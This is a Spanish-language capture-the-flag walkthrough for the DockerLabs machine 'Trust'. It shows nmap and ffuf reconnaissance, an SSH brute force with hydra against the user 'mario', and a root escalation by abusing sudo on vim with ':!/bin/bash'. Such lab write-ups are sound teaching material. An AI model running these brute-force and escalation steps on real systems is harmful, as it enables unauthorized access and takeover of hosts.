Trust
Despliegue del Lab
Descargamos la máquina desde la web de dockerlabs.es.

Descomprimimos el archivo .zip.
unzip trust.zip
Para levantar la máquina, ejecutamos el siguiente comando.
sudo bash auto_deploy.sh trust.tar

Reconocimiento
Le lanzamos un ping
a la máquina para comprobar que tenemos conectividad con ella y también para detectar el sistema operativo. En este caso, como el TTL (Time To Live) es 64, se trata de una máquina Linux.
$ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.142 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.142/0.142/0.142/0.000 ms
Nuestro objetivo es descubrir qué puertos están abiertos, ya que a través de esos puertos corren servicios que pueden tener vulnerabilidades que nos permitan comprometer el sistema. Entonces, para ver qué servicios están corriendo, lanzamos un escaneo de puertos con nmap
.
$sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 15:29 -03
Initiating ARP Ping Scan at 15:29
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 15:29, 0.12s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:29
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Discovered open port 22/tcp on 172.17.0.2
Completed SYN Stealth Scan at 15:29, 2.64s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000026s latency).
Scanned at 2024-05-19 15:29:21 -03 for 3s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.22 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Están abiertos los puertos 22 y 80. Para obtener más información, lanzamos un escaneo exhaustivo.
$nmap -p22,80 -sCV 172.17.0.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 15:30 -03
Nmap scan report for 172.17.0.2
Host is up (0.00083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
|_ 256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds
Por el momento, no podemos hacer nada con SSH porque no contamos con ninguna credencial.
En cuanto al puerto 80, hay un servicio http que tiene la página por defecto después de la instalación de Apache.

Fuzzeamos para intentar encontrar rutas, pero no hay ningún resultado.
$ffuf -u http://172.17.0.2/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -ic -t 200
Ahora fuzzeamos por archivos con extensiones comunes como php, txt y html.
$ffuf -u http://172.17.0.2/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -e php,txt,html -ic -t 200
Encontramos un archivo secret.php
.

Si lo vemos desde el navegador, nos encontramos con el siguiente mensaje, el cual contiene una pista: un potencial nombre de usuario válido.

Intrusión
Utilizamos hydra
para realizar un ataque de fuerza bruta por ssh para el usuario mario.
hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh

Con las credenciales encontradas, nos conectamos por ssh a la máquina como el usuario mario.

Escalada de privilegios
Buscamos por privilegios a nivel de sudoers con el siguiente comando, que nos solicita la contraseña de mario.
sudo -l
mario
puede ejecutar como cualquier usuario (incluyendo a root) el editor de texto vim
.

Existe una forma de abusar de este privilegio para convertirnos en root que se encuentra documentada en GTFOBins.
Para ello, primero lanzamos vim como el usuario root:
sudo /usr/bin/vim
Luego inyectamos este comando :!/bin/bash
, que nos va a otorgar una consola como el usuario que está corriendo vim, es decir, root.

De esta manera, escalamos privilegios en la máquina y la concluimos.

Last updated